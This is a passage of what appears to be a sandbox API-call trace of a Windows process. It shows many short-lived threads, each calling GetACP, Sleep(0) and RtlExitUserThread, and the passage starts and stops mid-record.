[0231.492] RtlExitUserThread (Status=0x0) Thread: id = 1718 os_tid = 0x196c [0231.351] GetACP () returned 0x4e4 [0231.351] GetACP () returned 0x4e4 [0231.351] Sleep (dwMilliseconds=0x0) [0231.493] RtlExitUserThread (Status=0x0) Thread: id = 1719 os_tid = 0x1970 [0231.352] GetACP () returned 0x4e4 [0231.352] GetACP () returned 0x4e4 [0231.352] Sleep (dwMilliseconds=0x0) [0231.494] RtlExitUserThread (Status=0x0) Thread: id = 1720 os_tid = 0x1974 [0231.352] GetACP () returned 0x4e4 [0231.352] GetACP () returned 0x4e4 [0231.352] Sleep (dwMilliseconds=0x0) [0231.494] RtlExitUserThread (Status=0x0) Thread: id = 1721 os_tid = 0x1978 [0231.353] GetACP () returned 0x4e4 [0231.353] GetACP () returned 0x4e4 [0231.353] Sleep (dwMilliseconds=0x0) [0231.495] RtlExitUserThread (Status=0x0) Thread: id = 1722 os_tid = 0x197c [0231.353] GetACP () returned 0x4e4 [0231.353] GetACP () returned 0x4e4 [0231.353] Sleep (dwMilliseconds=0x0) [0231.496] RtlExitUserThread (Status=0x0) Thread: id = 1723 os_tid = 0x1980 [0231.355] GetACP () returned 0x4e4 [0231.355] GetACP () returned 0x4e4 [0231.355] Sleep (dwMilliseconds=0x0) [0231.497] RtlExitUserThread (Status=0x0) Thread: id = 1724 os_tid = 0x1984 [0231.356] GetACP () returned 0x4e4 [0231.356] GetACP () returned 0x4e4 [0231.356] Sleep (dwMilliseconds=0x0) [0231.498] RtlExitUserThread (Status=0x0) Thread: id = 1725 os_tid = 0x1988 [0231.356] GetACP () returned 0x4e4 [0231.356] GetACP () returned 0x4e4 [0231.356] Sleep (dwMilliseconds=0x0) [0231.499] RtlExitUserThread (Status=0x0) Thread: id = 1726 os_tid = 0x198c [0231.357] GetACP () returned 0x4e4 [0231.357] GetACP () returned 0x4e4 [0231.357] Sleep (dwMilliseconds=0x0) [0231.500] RtlExitUserThread (Status=0x0) Thread: id = 1727 os_tid = 0x1990 [0231.357] GetACP () returned 0x4e4 [0231.357] GetACP () returned 0x4e4 [0231.357] Sleep (dwMilliseconds=0x0) [0231.500] RtlExitUserThread (Status=0x0) Thread: id = 1728 os_tid = 0x1994 [0231.358] GetACP () returned 0x4e4 [0231.358] GetACP () returned 0x4e4 [0231.358] Sleep (dwMilliseconds=0x0) [0231.502] RtlExitUserThread (Status=0x0) Thread: id = 1729 os_tid = 0x1998 [0231.358] GetACP () returned 0x4e4 [0231.358] GetACP () returned 0x4e4 [0231.358] Sleep (dwMilliseconds=0x0) [0231.503] RtlExitUserThread (Status=0x0) Thread: id = 1730 os_tid = 0x199c [0231.359] GetACP () returned 0x4e4 [0231.359] GetACP () returned 0x4e4 [0231.359] Sleep (dwMilliseconds=0x0) [0231.504] RtlExitUserThread (Status=0x0) Thread: id = 1731 os_tid = 0x19a0 [0231.359] GetACP () returned 0x4e4 [0231.359] GetACP () returned 0x4e4 [0231.359] Sleep (dwMilliseconds=0x0) [0231.505] RtlExitUserThread (Status=0x0) Thread: id = 1732 os_tid = 0x19a4 [0231.360] GetACP () returned 0x4e4 [0231.360] GetACP () returned 0x4e4 [0231.360] Sleep (dwMilliseconds=0x0) [0231.505] RtlExitUserThread (Status=0x0) Thread: id = 1733 os_tid = 0x19a8 [0231.361] GetACP () returned 0x4e4 [0231.361] GetACP () returned 0x4e4 [0231.361] Sleep (dwMilliseconds=0x0) [0231.506] RtlExitUserThread (Status=0x0) Thread: id = 1734 os_tid = 0x19ac [0231.361] GetACP () returned 0x4e4 [0231.361] GetACP () returned 0x4e4 [0231.361] Sleep (dwMilliseconds=0x0) [0231.507] RtlExitUserThread (Status=0x0) Thread: id = 1735 os_tid = 0x19b0 [0231.362] GetACP () returned 0x4e4 [0231.362] GetACP () returned 0x4e4 [0231.362] Sleep (dwMilliseconds=0x0) [0231.508] RtlExitUserThread (Status=0x0) Thread: id = 1736 os_tid = 0x19b4 [0231.362] GetACP () returned 0x4e4 [0231.362] GetACP () returned 0x4e4 [0231.362] Sleep (dwMilliseconds=0x0) [0231.508] RtlExitUserThread (Status=0x0) Thread: id = 1757 os_tid = 0x1a08 [0231.510] GetACP () returned 0x4e4 [0231.510] GetACP () returned 0x4e4 [0231.510] Sleep (dwMilliseconds=0x0) [0231.675] RtlExitUserThread (Status=0x0) Thread: id = 1758 os_tid = 0x1a0c [0231.510] GetACP () returned 0x4e4 [0231.510] GetACP () returned 0x4e4 [0231.510] Sleep (dwMilliseconds=0x0) [0231.676] RtlExitUserThread (Status=0x0) Thread: id = 1759 os_tid = 0x1a10 [0231.511] GetACP () returned 0x4e4 [0231.511] GetACP () returned 0x4e4 [0231.511] Sleep (dwMilliseconds=0x0) [0231.677] RtlExitUserThread (Status=0x0) Thread: id = 1760 os_tid = 0x1a14 [0231.513] GetACP () returned 0x4e4 [0231.513] GetACP () returned 0x4e4 [0231.513] Sleep (dwMilliseconds=0x0) [0231.678] RtlExitUserThread (Status=0x0) Thread: id = 1761 os_tid = 0x1a18 [0231.514] GetACP () returned 0x4e4 [0231.514] GetACP () returned 0x4e4 [0231.514] Sleep (dwMilliseconds=0x0) [0231.679] RtlExitUserThread (Status=0x0) Thread: id = 1762 os_tid = 0x1a1c [0231.514] GetACP () returned 0x4e4 [0231.514] GetACP () returned 0x4e4 [0231.514] Sleep (dwMilliseconds=0x0) [0231.679] RtlExitUserThread (Status=0x0) Thread: id = 1763 os_tid = 0x1a20 [0231.515] GetACP () returned 0x4e4 [0231.515] GetACP () returned 0x4e4 [0231.515] Sleep (dwMilliseconds=0x0) [0231.680] RtlExitUserThread (Status=0x0) Thread: id = 1764 os_tid = 0x1a24 [0231.515] GetACP () returned 0x4e4 [0231.515] GetACP () returned 0x4e4 [0231.515] Sleep (dwMilliseconds=0x0) [0231.681] RtlExitUserThread (Status=0x0) Thread: id = 1765 os_tid = 0x1a28 [0231.516] GetACP () returned 0x4e4 [0231.516] GetACP () returned 0x4e4 [0231.516] Sleep (dwMilliseconds=0x0) [0231.681] RtlExitUserThread (Status=0x0) Thread: id = 1766 os_tid = 0x1a2c [0231.516] GetACP () returned 0x4e4 [0231.516] GetACP () returned 0x4e4 [0231.516] Sleep (dwMilliseconds=0x0) [0231.683] RtlExitUserThread (Status=0x0) Thread: id = 1767 os_tid = 0x1a30 [0231.516] GetACP () returned 0x4e4 [0231.516] GetACP () returned 0x4e4 [0231.516] Sleep (dwMilliseconds=0x0) [0231.683] RtlExitUserThread (Status=0x0) Thread: id = 1768 os_tid = 0x1a34 [0231.517] GetACP () returned 0x4e4 [0231.517] GetACP () returned 0x4e4 [0231.517] Sleep (dwMilliseconds=0x0) [0231.685] RtlExitUserThread (Status=0x0) Thread: id = 1769 os_tid = 0x1a38 [0231.517] GetACP () returned 0x4e4 [0231.517] GetACP () returned 0x4e4 [0231.517] Sleep (dwMilliseconds=0x0) [0231.686] RtlExitUserThread (Status=0x0) Thread: id = 1770 os_tid = 0x1a3c [0231.518] GetACP () returned 0x4e4 [0231.518] GetACP () returned 0x4e4 [0231.518] Sleep (dwMilliseconds=0x0) [0231.686] RtlExitUserThread (Status=0x0) Thread: id = 1771 os_tid = 0x1a40 [0231.518] GetACP () returned 0x4e4 [0231.518] GetACP () returned 0x4e4 [0231.518] Sleep (dwMilliseconds=0x0) [0231.687] RtlExitUserThread (Status=0x0) Thread: id = 1772 os_tid = 0x1a44 [0231.519] GetACP () returned 0x4e4 [0231.519] GetACP () returned 0x4e4 [0231.519] Sleep (dwMilliseconds=0x0) [0231.688] RtlExitUserThread (Status=0x0) Thread: id = 1773 os_tid = 0x1a48 [0231.519] GetACP () returned 0x4e4 [0231.519] GetACP () returned 0x4e4 [0231.519] Sleep (dwMilliseconds=0x0) [0231.688] RtlExitUserThread (Status=0x0) Thread: id = 1774 os_tid = 0x1a4c [0231.520] GetACP () returned 0x4e4 [0231.520] GetACP () returned 0x4e4 [0231.520] Sleep (dwMilliseconds=0x0) [0231.689] RtlExitUserThread (Status=0x0) Thread: id = 1775 os_tid = 0x1a50 [0231.520] GetACP () returned 0x4e4 [0231.520] GetACP () returned 0x4e4 [0231.520] Sleep (dwMilliseconds=0x0) [0231.690] RtlExitUserThread (Status=0x0) Thread: id = 1776 os_tid = 0x1a54 [0231.521] GetACP () returned 0x4e4 [0231.521] GetACP () returned 0x4e4 [0231.521] Sleep (dwMilliseconds=0x0) [0231.691] RtlExitUserThread (Status=0x0) Thread: id = 1797 os_tid = 0x1aa8 [0231.692] GetACP () returned 0x4e4 [0231.692] GetACP () returned 0x4e4 [0231.692] Sleep (dwMilliseconds=0x0) [0231.853] RtlExitUserThread (Status=0x0) Thread: id = 1798 os_tid = 0x1aac [0231.693] GetACP () returned 0x4e4 [0231.693] GetACP () returned 0x4e4 [0231.693] Sleep (dwMilliseconds=0x0) [0231.855] RtlExitUserThread (Status=0x0) Thread: id = 1799 os_tid = 0x1ab0 [0231.693] GetACP () returned 0x4e4 [0231.693] GetACP () returned 0x4e4 [0231.693] Sleep (dwMilliseconds=0x0) [0231.856] RtlExitUserThread (Status=0x0) Thread: id = 1800 os_tid = 0x1ab4 [0231.694] GetACP () returned 0x4e4 [0231.694] GetACP () returned 0x4e4 [0231.694] Sleep (dwMilliseconds=0x0) [0231.857] RtlExitUserThread (Status=0x0) Thread: id = 1801 os_tid = 0x1ab8 [0231.695] GetACP () returned 0x4e4 [0231.695] GetACP () returned 0x4e4 [0231.695] Sleep (dwMilliseconds=0x0) [0231.858] RtlExitUserThread (Status=0x0) Thread: id = 1802 os_tid = 0x1abc [0231.696] GetACP () returned 0x4e4 [0231.696] GetACP () returned 0x4e4 [0231.696] Sleep (dwMilliseconds=0x0) [0231.859] RtlExitUserThread (Status=0x0) Thread: id = 1803 os_tid = 0x1ac0 [0231.696] GetACP () returned 0x4e4 [0231.696] GetACP () returned 0x4e4 [0231.696] Sleep (dwMilliseconds=0x0) [0231.860] RtlExitUserThread (Status=0x0) Thread: id = 1804 os_tid = 0x1ac4 [0231.697] GetACP () returned 0x4e4 [0231.697] GetACP () returned 0x4e4 [0231.697] Sleep (dwMilliseconds=0x0) [0231.861] RtlExitUserThread (Status=0x0) Thread: id = 1805 os_tid = 0x1ac8 [0231.697] GetACP () returned 0x4e4 [0231.697] GetACP () returned 0x4e4 [0231.697] Sleep (dwMilliseconds=0x0) [0231.862] RtlExitUserThread (Status=0x0) Thread: id = 1806 os_tid = 0x1acc [0231.698] GetACP () returned 0x4e4 [0231.698] GetACP () returned 0x4e4 [0231.698] Sleep (dwMilliseconds=0x0) [0231.865] RtlExitUserThread (Status=0x0) Thread: id = 1807 os_tid = 0x1ad0 [0231.698] GetACP () returned 0x4e4 [0231.698] GetACP () returned 0x4e4 [0231.698] Sleep (dwMilliseconds=0x0) [0231.867] RtlExitUserThread (Status=0x0) Thread: id = 1808 os_tid = 0x1ad4 [0231.699] GetACP () returned 0x4e4 [0231.699] GetACP () returned 0x4e4 [0231.699] Sleep (dwMilliseconds=0x0) [0231.867] RtlExitUserThread (Status=0x0) Thread: id = 1809 os_tid = 0x1ad8 [0231.699] GetACP () returned 0x4e4 [0231.699] GetACP () returned 0x4e4 [0231.699] Sleep (dwMilliseconds=0x0) [0231.868] RtlExitUserThread (Status=0x0) Thread: id = 1810 os_tid = 0x1adc [0231.700] GetACP () returned 0x4e4 [0231.700] GetACP () returned 0x4e4 [0231.700] Sleep (dwMilliseconds=0x0) [0231.869] RtlExitUserThread (Status=0x0) Thread: id = 1811 os_tid = 0x1ae0 [0231.700] GetACP () returned 0x4e4 [0231.700] GetACP () returned 0x4e4 [0231.701] Sleep (dwMilliseconds=0x0) [0231.870] RtlExitUserThread (Status=0x0) Thread: id = 1812 os_tid = 0x1ae4 [0231.701] GetACP () returned 0x4e4 [0231.701] GetACP () returned 0x4e4 [0231.701] Sleep (dwMilliseconds=0x0) [0231.871] RtlExitUserThread (Status=0x0) Thread: id = 1813 os_tid = 0x1ae8 [0231.702] GetACP () returned 0x4e4 [0231.702] GetACP () returned 0x4e4 [0231.702] Sleep (dwMilliseconds=0x0) [0231.871] RtlExitUserThread (Status=0x0) Thread: id = 1814 os_tid = 0x1aec [0231.702] GetACP () returned 0x4e4 [0231.702] GetACP () returned 0x4e4 [0231.702] Sleep (dwMilliseconds=0x0) [0231.872] RtlExitUserThread (Status=0x0) Thread: id = 1815 os_tid = 0x1af0 [0231.703] GetACP () returned 0x4e4 [0231.703] GetACP () returned 0x4e4 [0231.703] Sleep (dwMilliseconds=0x0) [0231.873] RtlExitUserThread (Status=0x0) Thread: id = 1816 os_tid = 0x1af4 [0231.704] GetACP () returned 0x4e4 [0231.704] GetACP () returned 0x4e4 [0231.704] Sleep (dwMilliseconds=0x0) [0231.874] RtlExitUserThread (Status=0x0) Thread: id = 1837 os_tid = 0x1b48 [0231.875] GetACP () returned 0x4e4 [0231.875] GetACP () returned 0x4e4 [0231.875] Sleep (dwMilliseconds=0x0) [0232.047] RtlExitUserThread (Status=0x0) Thread: id = 1838 os_tid = 0x1b4c [0231.877] GetACP () returned 0x4e4 [0231.877] GetACP () returned 0x4e4 [0231.877] Sleep (dwMilliseconds=0x0) [0232.047] RtlExitUserThread (Status=0x0) Thread: id = 1839 os_tid = 0x1b50 [0231.877] GetACP () returned 0x4e4 [0231.878] GetACP () returned 0x4e4 [0231.878] Sleep (dwMilliseconds=0x0) [0232.048] RtlExitUserThread (Status=0x0) Thread: id = 1840 os_tid = 0x1b54 [0231.879] GetACP () returned 0x4e4 [0231.879] GetACP () returned 0x4e4 [0231.879] Sleep (dwMilliseconds=0x0) [0232.049] RtlExitUserThread (Status=0x0) Thread: id = 1841 os_tid = 0x1b58 [0231.879] GetACP () returned 0x4e4 [0231.879] GetACP () returned 0x4e4 [0231.879] Sleep (dwMilliseconds=0x0) [0232.051] RtlExitUserThread (Status=0x0) Thread: id = 1842 os_tid = 0x1b5c [0231.880] GetACP () returned 0x4e4 [0231.880] GetACP () returned 0x4e4 [0231.880] Sleep (dwMilliseconds=0x0) [0232.052] RtlExitUserThread (Status=0x0) Thread: id = 1843 os_tid = 0x1b60 [0231.880] GetACP () returned 0x4e4 [0231.880] GetACP () returned 0x4e4 [0231.880] Sleep (dwMilliseconds=0x0) [0232.052] RtlExitUserThread (Status=0x0) Thread: id = 1844 os_tid = 0x1b64 [0231.881] GetACP () returned 0x4e4 [0231.881] GetACP () returned 0x4e4 [0231.881] Sleep (dwMilliseconds=0x0) [0232.053] RtlExitUserThread (Status=0x0) Thread: id = 1845 os_tid = 0x1b68 [0231.881] GetACP () returned 0x4e4 [0231.881] GetACP () returned 0x4e4 [0231.882] Sleep (dwMilliseconds=0x0) [0232.054] RtlExitUserThread (Status=0x0) Thread: id = 1846 os_tid = 0x1b6c [0231.882] GetACP () returned 0x4e4 [0231.882] GetACP () returned 0x4e4 [0231.882] Sleep (dwMilliseconds=0x0) [0232.055] RtlExitUserThread (Status=0x0) Thread: id = 1847 os_tid = 0x1b70 [0231.883] GetACP () returned 0x4e4 [0231.883] GetACP () returned 0x4e4 [0231.883] Sleep (dwMilliseconds=0x0) [0232.055] RtlExitUserThread (Status=0x0) Thread: id = 1848 os_tid = 0x1b74 [0231.883] GetACP () returned 0x4e4 [0231.883] GetACP () returned 0x4e4 [0231.883] Sleep (dwMilliseconds=0x0) [0232.056] RtlExitUserThread (Status=0x0) Thread: id = 1849 os_tid = 0x1b78 [0231.884] GetACP () returned 0x4e4 [0231.884] GetACP () returned 0x4e4 [0231.884] Sleep (dwMilliseconds=0x0) [0232.057] RtlExitUserThread (Status=0x0) Thread: id = 1850 os_tid = 0x1b7c [0231.884] GetACP () returned 0x4e4 [0231.884] GetACP () returned 0x4e4 [0231.884] Sleep (dwMilliseconds=0x0) [0232.058] RtlExitUserThread (Status=0x0) Thread: id = 1851 os_tid = 0x1b80 [0231.885] GetACP () returned 0x4e4 [0231.885] GetACP () returned 0x4e4 [0231.885] Sleep (dwMilliseconds=0x0) [0232.058] RtlExitUserThread (Status=0x0) Thread: id = 1852 os_tid = 0x1b84 [0231.885] GetACP () returned 0x4e4 [0231.885] GetACP () returned 0x4e4 [0231.885] Sleep (dwMilliseconds=0x0) [0232.059] RtlExitUserThread (Status=0x0) Thread: id = 1853 os_tid = 0x1b88 [0231.886] GetACP () returned 0x4e4 [0231.886] GetACP () returned 0x4e4 [0231.886] Sleep (dwMilliseconds=0x0) [0232.060] RtlExitUserThread (Status=0x0) Thread: id = 1854 os_tid = 0x1b8c [0231.887] GetACP () returned 0x4e4 [0231.887] GetACP () returned 0x4e4 [0231.887] Sleep (dwMilliseconds=0x0) [0232.061] RtlExitUserThread (Status=0x0) Thread: id = 1855 os_tid = 0x1b90 [0231.896] GetACP () returned 0x4e4 [0231.896] GetACP () returned 0x4e4 [0231.896] Sleep (dwMilliseconds=0x0) [0232.063] RtlExitUserThread (Status=0x0) Thread: id = 1856 os_tid = 0x1b94 [0231.897] GetACP () returned 0x4e4 [0231.897] GetACP () returned 0x4e4 [0231.897] Sleep (dwMilliseconds=0x0) [0232.064] RtlExitUserThread (Status=0x0) Thread: id = 1877 os_tid = 0x1be8 [0232.065] GetACP () returned 0x4e4 [0232.065] GetACP () returned 0x4e4 [0232.065] Sleep (dwMilliseconds=0x0) [0232.213] RtlExitUserThread (Status=0x0) Thread: id = 1878 os_tid = 0x1bec [0232.066] GetACP () returned 0x4e4 [0232.066] GetACP () returned 0x4e4 [0232.066] Sleep (dwMilliseconds=0x0) [0232.214] RtlExitUserThread (Status=0x0) Thread: id = 1879 os_tid = 0x1bf0 [0232.066] GetACP () returned 0x4e4 [0232.066] GetACP () returned 0x4e4 [0232.066] Sleep (dwMilliseconds=0x0) [0232.214] RtlExitUserThread (Status=0x0) Thread: id = 1880 os_tid = 0x1bf4 [0232.067] GetACP () returned 0x4e4 [0232.067] GetACP () returned 0x4e4 [0232.067] Sleep (dwMilliseconds=0x0) [0232.215] RtlExitUserThread (Status=0x0) Thread: id = 1881 os_tid = 0x1bf8 [0232.067] GetACP () returned 0x4e4 [0232.067] GetACP () returned 0x4e4 [0232.067] Sleep (dwMilliseconds=0x0) [0232.215] RtlExitUserThread (Status=0x0) Thread: id = 1882 os_tid = 0x1bfc [0232.068] GetACP () returned 0x4e4 [0232.068] GetACP () returned 0x4e4 [0232.068] Sleep (dwMilliseconds=0x0) [0232.216] RtlExitUserThread (Status=0x0) Thread: id = 1883 os_tid = 0xaa4 [0232.068] GetACP () returned 0x4e4 [0232.068] GetACP () returned 0x4e4 [0232.068] Sleep (dwMilliseconds=0x0) [0232.217] RtlExitUserThread (Status=0x0) Thread: id = 1884 os_tid = 0x195c [0232.069] GetACP () returned 0x4e4 [0232.069] GetACP () returned 0x4e4 [0232.069] Sleep (dwMilliseconds=0x0) [0232.217] RtlExitUserThread (Status=0x0) Thread: id = 1885 os_tid = 0x1960 [0232.069] GetACP () returned 0x4e4 [0232.069] GetACP () returned 0x4e4 [0232.069] Sleep (dwMilliseconds=0x0) [0232.218] RtlExitUserThread (Status=0x0) Thread: id = 1886 os_tid = 0x1a4 [0232.069] GetACP () returned 0x4e4 [0232.069] GetACP () returned 0x4e4 [0232.069] Sleep (dwMilliseconds=0x0) [0232.219] RtlExitUserThread (Status=0x0) Thread: id = 1887 os_tid = 0x200 [0232.070] GetACP () returned 0x4e4 [0232.070] GetACP () returned 0x4e4 [0232.070] Sleep (dwMilliseconds=0x0) [0232.219] RtlExitUserThread (Status=0x0) Thread: id = 1888 os_tid = 0x210 [0232.071] GetACP () returned 0x4e4 [0232.071] GetACP () returned 0x4e4 [0232.071] Sleep (dwMilliseconds=0x0) [0232.220] RtlExitUserThread (Status=0x0) Thread: id = 1889 os_tid = 0x580 [0232.071] GetACP () returned 0x4e4 [0232.071] GetACP () returned 0x4e4 [0232.071] Sleep (dwMilliseconds=0x0) [0232.220] RtlExitUserThread (Status=0x0) Thread: id = 1890 os_tid = 0x260 [0232.072] GetACP () returned 0x4e4 [0232.072] GetACP () returned 0x4e4 [0232.072] Sleep (dwMilliseconds=0x0) [0232.221] RtlExitUserThread (Status=0x0) Thread: id = 1891 os_tid = 0x26c [0232.073] GetACP () returned 0x4e4 [0232.073] GetACP () returned 0x4e4 [0232.073] Sleep (dwMilliseconds=0x0) [0232.222] RtlExitUserThread (Status=0x0) Thread: id = 1892 os_tid = 0x1c04 [0232.073] GetACP () returned 0x4e4 [0232.074] GetACP () returned 0x4e4 [0232.074] Sleep (dwMilliseconds=0x0) [0232.223] RtlExitUserThread (Status=0x0) Thread: id = 1893 os_tid = 0x1c08 [0232.074] GetACP () returned 0x4e4 [0232.074] GetACP () returned 0x4e4 [0232.074] Sleep (dwMilliseconds=0x0) [0232.224] RtlExitUserThread (Status=0x0) Thread: id = 1894 os_tid = 0x1c0c [0232.074] GetACP () returned 0x4e4 [0232.075] GetACP () returned 0x4e4 [0232.075] Sleep (dwMilliseconds=0x0) [0232.225] RtlExitUserThread (Status=0x0) Thread: id = 1895 os_tid = 0x1c10 [0232.075] GetACP () returned 0x4e4 [0232.075] GetACP () returned 0x4e4 [0232.075] Sleep (dwMilliseconds=0x0) [0232.226] RtlExitUserThread (Status=0x0) Thread: id = 1896 os_tid = 0x1c14 [0232.076] GetACP () returned 0x4e4 [0232.076] GetACP () returned 0x4e4 [0232.076] Sleep (dwMilliseconds=0x0) [0232.226] RtlExitUserThread (Status=0x0) Thread: id = 1917 os_tid = 0x1c68 [0232.228] GetACP () returned 0x4e4 [0232.228] GetACP () returned 0x4e4 [0232.228] Sleep (dwMilliseconds=0x0) [0232.490] RtlExitUserThread (Status=0x0) Thread: id = 1918 os_tid = 0x1c6c [0232.228] GetACP () returned 0x4e4 [0232.228] GetACP () returned 0x4e4 [0232.228] Sleep (dwMilliseconds=0x0) [0232.491] RtlExitUserThread (Status=0x0) Thread: id = 1919 os_tid = 0x1c70 [0232.229] GetACP () returned 0x4e4 [0232.229] GetACP () returned 0x4e4 [0232.229] Sleep (dwMilliseconds=0x0) [0232.492] RtlExitUserThread (Status=0x0) Thread: id = 1920 os_tid = 0x1c74 [0232.229] GetACP () returned 0x4e4 [0232.229] GetACP () returned 0x4e4 [0232.229] Sleep (dwMilliseconds=0x0) [0232.493] RtlExitUserThread (Status=0x0) Thread: id = 1921 os_tid = 0x1c78 [0232.230] GetACP () returned 0x4e4 [0232.230] GetACP () returned 0x4e4 [0232.230] Sleep (dwMilliseconds=0x0) [0232.494] RtlExitUserThread (Status=0x0) Thread: id = 1922 os_tid = 0x1c7c [0232.230] GetACP () returned 0x4e4 [0232.231] GetACP () returned 0x4e4 [0232.231] Sleep (dwMilliseconds=0x0) [0232.494] RtlExitUserThread (Status=0x0) Thread: id = 1923 os_tid = 0x1c80 [0232.231] GetACP () returned 0x4e4 [0232.231] GetACP () returned 0x4e4 [0232.231] Sleep (dwMilliseconds=0x0) [0232.495] RtlExitUserThread (Status=0x0) Thread: id = 1924 os_tid = 0x1c84 [0232.232] GetACP () returned 0x4e4 [0232.232] GetACP () returned 0x4e4 [0232.232] Sleep (dwMilliseconds=0x0) [0232.496] RtlExitUserThread (Status=0x0) Thread: id = 1925 os_tid = 0x1c88 [0232.233] GetACP () returned 0x4e4 [0232.233] GetACP () returned 0x4e4 [0232.233] Sleep (dwMilliseconds=0x0) [0232.497] RtlExitUserThread (Status=0x0) Thread: id = 1926 os_tid = 0x1c8c [0232.234] GetACP () returned 0x4e4 [0232.234] GetACP () returned 0x4e4 [0232.234] Sleep (dwMilliseconds=0x0) [0232.497] RtlExitUserThread (Status=0x0) Thread: id = 1927 os_tid = 0x1c90 [0232.234] GetACP () returned 0x4e4 [0232.234] GetACP () returned 0x4e4 [0232.234] Sleep (dwMilliseconds=0x0) [0232.498] RtlExitUserThread (Status=0x0) Thread: id = 1928 os_tid = 0x1c94 [0232.235] GetACP () returned 0x4e4 [0232.235] GetACP () returned 0x4e4 [0232.235] Sleep (dwMilliseconds=0x0) [0232.502] RtlExitUserThread (Status=0x0) Thread: id = 1929 os_tid = 0x1c98 [0232.235] GetACP () returned 0x4e4 [0232.236] GetACP () returned 0x4e4 [0232.236] Sleep (dwMilliseconds=0x0) [0232.503] RtlExitUserThread (Status=0x0) Thread: id = 1930 os_tid = 0x1c9c [0232.236] GetACP () returned 0x4e4 [0232.236] GetACP () returned 0x4e4 [0232.236] Sleep (dwMilliseconds=0x0) [0232.504] RtlExitUserThread (Status=0x0) Thread: id = 1931 os_tid = 0x1ca0 [0232.237] GetACP () returned 0x4e4 [0232.237] GetACP () returned 0x4e4 [0232.237] Sleep (dwMilliseconds=0x0) [0232.505] RtlExitUserThread (Status=0x0) Thread: id = 1932 os_tid = 0x1ca4 [0232.238] GetACP () returned 0x4e4 [0232.238] GetACP () returned 0x4e4 [0232.238] Sleep (dwMilliseconds=0x0) [0232.505] RtlExitUserThread (Status=0x0) Thread: id = 1933 os_tid = 0x1ca8 [0232.238] GetACP () returned 0x4e4 [0232.238] GetACP () returned 0x4e4 [0232.238] Sleep (dwMilliseconds=0x0) [0232.506] RtlExitUserThread (Status=0x0) Thread: id = 1934 os_tid = 0x1cac [0232.239] GetACP () returned 0x4e4 [0232.239] GetACP () returned 0x4e4 [0232.239] Sleep (dwMilliseconds=0x0) [0232.507] RtlExitUserThread (Status=0x0) Thread: id = 1935 os_tid = 0x1cb0 [0232.239] GetACP () returned 0x4e4 [0232.239] GetACP () returned 0x4e4 [0232.240] Sleep (dwMilliseconds=0x0) [0232.507] RtlExitUserThread (Status=0x0) Thread: id = 1936 os_tid = 0x1cb4 [0232.240] GetACP () returned 0x4e4 [0232.240] GetACP () returned 0x4e4 [0232.240] Sleep (dwMilliseconds=0x0) [0232.508] RtlExitUserThread (Status=0x0) Thread: id = 1957 os_tid = 0x1d08 [0232.510] GetACP () returned 0x4e4 [0232.510] GetACP () returned 0x4e4 [0232.510] Sleep (dwMilliseconds=0x0) [0232.665] RtlExitUserThread (Status=0x0) Thread: id = 1958 os_tid = 0x1d0c [0232.511] GetACP () returned 0x4e4 [0232.511] GetACP () returned 0x4e4 [0232.511] Sleep (dwMilliseconds=0x0) [0232.666] RtlExitUserThread (Status=0x0) Thread: id = 1959 os_tid = 0x1d10 [0232.511] GetACP () returned 0x4e4 [0232.511] GetACP () returned 0x4e4 [0232.511] Sleep (dwMilliseconds=0x0) [0232.666] RtlExitUserThread (Status=0x0) Thread: id = 1960 os_tid = 0x1d14 [0232.512] GetACP () returned 0x4e4 [0232.512] GetACP () returned 0x4e4 [0232.512] Sleep (dwMilliseconds=0x0) [0232.667] RtlExitUserThread (Status=0x0) Thread: id = 1961 os_tid = 0x1d18 [0232.512] GetACP () returned 0x4e4 [0232.513] GetACP () returned 0x4e4 [0232.513] Sleep (dwMilliseconds=0x0) [0232.667] RtlExitUserThread (Status=0x0) Thread: id = 1962 os_tid = 0x1d1c [0232.513] GetACP () returned 0x4e4 [0232.513] GetACP () returned 0x4e4 [0232.513] Sleep (dwMilliseconds=0x0) [0232.668] RtlExitUserThread (Status=0x0) Thread: id = 1963 os_tid = 0x1d20 [0232.514] GetACP () returned 0x4e4 [0232.514] GetACP () returned 0x4e4 [0232.514] Sleep (dwMilliseconds=0x0) [0232.669] RtlExitUserThread (Status=0x0) Thread: id = 1964 os_tid = 0x1d24 [0232.514] GetACP () returned 0x4e4 [0232.514] GetACP () returned 0x4e4 [0232.514] Sleep (dwMilliseconds=0x0) [0232.669] RtlExitUserThread (Status=0x0) Thread: id = 1965 os_tid = 0x1d28 [0232.515] GetACP () returned 0x4e4 [0232.515] GetACP () returned 0x4e4 [0232.515] Sleep (dwMilliseconds=0x0) [0232.670] RtlExitUserThread (Status=0x0) Thread: id = 1966 os_tid = 0x1d2c [0232.515] GetACP () returned 0x4e4 [0232.515] GetACP () returned 0x4e4 [0232.515] Sleep (dwMilliseconds=0x0) [0232.671] RtlExitUserThread (Status=0x0) Thread: id = 1967 os_tid = 0x1d30 [0232.516] GetACP () returned 0x4e4 [0232.516] GetACP () returned 0x4e4 [0232.516] Sleep (dwMilliseconds=0x0) [0232.671] RtlExitUserThread (Status=0x0) Thread: id = 1968 os_tid = 0x1d34 [0232.516] GetACP () returned 0x4e4 [0232.516] GetACP () returned 0x4e4 [0232.516] Sleep (dwMilliseconds=0x0) [0232.672] RtlExitUserThread (Status=0x0) Thread: id = 1969 os_tid = 0x1d38 [0232.517] GetACP () returned 0x4e4 [0232.517] GetACP () returned 0x4e4 [0232.517] Sleep (dwMilliseconds=0x0) [0232.673] RtlExitUserThread (Status=0x0) Thread: id = 1970 os_tid = 0x1d3c [0232.517] GetACP () returned 0x4e4 [0232.517] GetACP () returned 0x4e4 [0232.517] Sleep (dwMilliseconds=0x0) [0232.673] RtlExitUserThread (Status=0x0) Thread: id = 1971 os_tid = 0x1d40 [0232.518] GetACP () returned 0x4e4 [0232.518] GetACP () returned 0x4e4 [0232.518] Sleep (dwMilliseconds=0x0) [0232.675] RtlExitUserThread (Status=0x0) Thread: id = 1972 os_tid = 0x1d44 [0232.518] GetACP () returned 0x4e4 [0232.518] GetACP () returned 0x4e4 [0232.518] Sleep (dwMilliseconds=0x0) [0232.675] RtlExitUserThread (Status=0x0) Thread: id = 1973 os_tid = 0x1d48 [0232.519] GetACP () returned 0x4e4 [0232.519] GetACP () returned 0x4e4 [0232.519] Sleep (dwMilliseconds=0x0) [0232.676] RtlExitUserThread (Status=0x0) Thread: id = 1974 os_tid = 0x1d4c [0232.520] GetACP () returned 0x4e4 [0232.520] GetACP () returned 0x4e4 [0232.520] Sleep (dwMilliseconds=0x0) [0232.677] RtlExitUserThread (Status=0x0) Thread: id = 1975 os_tid = 0x1d50 [0232.520] GetACP () returned 0x4e4 [0232.520] GetACP () returned 